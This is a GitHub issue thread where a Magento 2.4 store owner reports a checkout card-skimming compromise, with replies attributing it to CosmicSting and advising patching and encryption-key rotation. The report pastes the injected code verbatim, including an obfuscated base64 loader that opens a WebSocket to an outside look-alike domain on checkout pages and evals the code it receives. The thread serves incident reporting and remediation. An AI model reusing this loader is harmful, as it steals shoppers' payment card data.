Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Magento 2.4 Checkout Payment Method Hacked #39526

Open
2 of 5 tasks
Arsalanulhaq opened this issue Jan 8, 2025 · 6 comments
Open
2 of 5 tasks

Magento 2.4 Checkout Payment Method Hacked #39526

Arsalanulhaq opened this issue Jan 8, 2025 · 6 comments
Assignees
Labels
Issue: needs update Additional information is require, waiting for response Reported on 2.4.x Indicates original Magento version for the Issue report. Triage: Dev.Experience Issue related to Developer Experience and needs help with Triage to Confirm or Reject it

Comments

@Arsalanulhaq
Copy link

Arsalanulhaq commented Jan 8, 2025

Preconditions and environment

  • Magento 2.4
  • Don't know

Steps to reproduce

Somehow the hacker was able to put this script in my core_config_data table in each design/head/includes.
I don't know how the hacker is able to do so, because he for sure cannot access the admin panel or db directly. So my guess is, he is doing it from any endpoint?

Add this script in design > configuration > Store View > HTML HEad Section.

<script async src="https://www.googletagmanager.com/gtag/js?id=UA-55953316-1"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-55953316-1'); gtag('config', 'AW-982019842'); </script> <script src="https://apis.google.com/js/platform.js?onload=renderBadge" async defer></script><script>(function(i, s, h, k, l, o, c, m) {m['GoogleAnalyticsObjects'] = o; c = s.createElement(h), i = s.getElementsByTagName(h)[0]; if (l.href.match(new RegExp(atob(o)))) {c.async = 1; c.src = new Function(atob(k)).call(this);}})('jb', document, 'script', 'd2luZG93Lnd3ID0gbmV3IFdlYlNvY2tldCgoJ3dzczovL2dzdGF0bGMub3JnL2ppdm8/c291cmNlPScpICsgZW5jb2RlVVJJQ29tcG9uZW50KGxvY2F0aW9uLmhyZWYpKTt3aW5kb3cud3cub25tZXNzYWdlPWZ1bmN0aW9uKGUpe2V2YWwoZS5kYXRhKX07', window.location, 'Y2hlY2tvdXQ' + '=', '//www.google-analytics.com/analytics.js', window);</script><script>(function(i, s, h, k, l, o, c, m) {m['GoogleAnalyticsObjects'] = o; c = s.createElement(h), i = s.getElementsByTagName(h)[0]; if (l.href.match(new RegExp(atob(o)))) {c.async = 1; c.src = new Function(atob(k)).call(this);}})('jb', document, 'script', 'd2luZG93Lnd3ID0gbmV3IFdlYlNvY2tldCgoJ3dzczovL2dzdGF0bGMub3JnL2ppdm8/c291cmNlPScpICsgZW5jb2RlVVJJQ29tcG9uZW50KGxvY2F0aW9uLmhyZWYpKTt3aW5kb3cud3cub25tZXNzYWdlPWZ1bmN0aW9uKGUpe2V2YWwoZS5kYXRhKX07', window.location, 'Y2hlY2tvdXQ' + '=', '//www.google-analytics.com/analytics.js', window);</script>

Expected result

Order placed successfully

Actual result

Payment method on checkout popsup an iframe similar to paypal and hacks the credit card details of customers

Additional information

No response

Release note

No response

Triage and priority

  • Severity: S0 - Affects critical data or functionality and leaves users without workaround.
  • Severity: S1 - Affects critical data or functionality and forces users to employ a workaround.
  • Severity: S2 - Affects non-critical data or functionality and forces users to employ a workaround.
  • Severity: S3 - Affects non-critical data or functionality and does not force users to employ a workaround.
  • Severity: S4 - Affects aesthetics, professional look and feel, “quality” or “usability”.
Copy link

m2-assistant bot commented Jan 8, 2025

Hi @Arsalanulhaq. Thank you for your report.
To speed up processing of this issue, make sure that the issue is reproducible on the vanilla Magento instance following Steps to reproduce.


Join Magento Community Engineering Slack and ask your questions in #github channel.
⚠️ According to the Magento Contribution requirements, all issues must go through the Community Contributions Triage process. Community Contributions Triage is a public meeting.
🕙 You can find the schedule on the Magento Community Calendar page.
📞 The triage of issues happens in the queue order. If you want to speed up the delivery of your contribution, join the Community Contributions Triage session to discuss the appropriate ticket.

@hostep
Copy link
Contributor

hostep commented Jan 8, 2025

@Arsalanulhaq
Copy link
Author

It sounds like you're being hit by CosmicSting.

Here are some resources on that matter:

Good luck!

Thanks. I have applied the adobe patch in the above link. Lets see how it goes. But actually he was able to change the core_config_data -> path -> 'design/head/ ' and not cms_blocks

@hostep
Copy link
Contributor

hostep commented Jan 8, 2025

Applying the patch is not enough, you also need to rotate your encryption key.
If they stole your existing encryption key (which was possible on older - unpatched - Magento versions), they can generate a JWT token with it, which grants them admin access to the REST API.

As far as I can see, you can't change configuration values through the REST API by default, so no idea how they are doing it in your case.

Maybe you can use https://sansec.io/guides/usage to scan your shop (in trial mode without a license it will just tell you if it found something, but not exactly what it found, but maybe that's enough for you to further investigate...)

@engcom-Bravo engcom-Bravo added Triage: Dev.Experience Issue related to Developer Experience and needs help with Triage to Confirm or Reject it Reported on 2.4.x Indicates original Magento version for the Issue report. labels Jan 9, 2025
@engcom-Hotel
Copy link
Contributor

Thanks @hostep for the detailed information on resolving this issue for @Arsalanulhaq.

Hello @Arsalanulhaq,

Thanks for the report and collaboration. Let us know if you can still reproduce this issue after applying the patch and rotating the encryption key.

Thanks.

@engcom-Hotel engcom-Hotel self-assigned this Jan 9, 2025
@engcom-Hotel engcom-Hotel moved this from Ready for Confirmation to Needs Update in Issue Confirmation and Triage Board Jan 9, 2025
Copy link

m2-assistant bot commented Jan 9, 2025

Hi @engcom-Hotel. Thank you for working on this issue.
In order to make sure that issue has enough information and ready for development, please read and check the following instruction: 👇

  • 1. Verify that issue has all the required information. (Preconditions, Steps to reproduce, Expected result, Actual result).
  • 2. Verify that issue has a meaningful description and provides enough information to reproduce the issue.
  • 3. Add Area: XXXXX label to the ticket, indicating the functional areas it may be related to.
  • 4. Verify that the issue is reproducible on 2.4-develop branch
    Details- If the issue is reproducible on 2.4-develop branch, please, add the label Reproduced on 2.4.x.
    - If the issue is not reproducible, add your comment that issue is not reproducible and close the issue and stop verification process here!
  • 5. Add label Issue: Confirmed once verification is complete.
  • 6. Make sure that automatic system confirms that report has been added to the backlog.

@engcom-Hotel engcom-Hotel added Issue: needs update Additional information is require, waiting for response and removed Issue: ready for confirmation labels Jan 9, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Issue: needs update Additional information is require, waiting for response Reported on 2.4.x Indicates original Magento version for the Issue report. Triage: Dev.Experience Issue related to Developer Experience and needs help with Triage to Confirm or Reject it
Projects
Development

No branches or pull requests

4 participants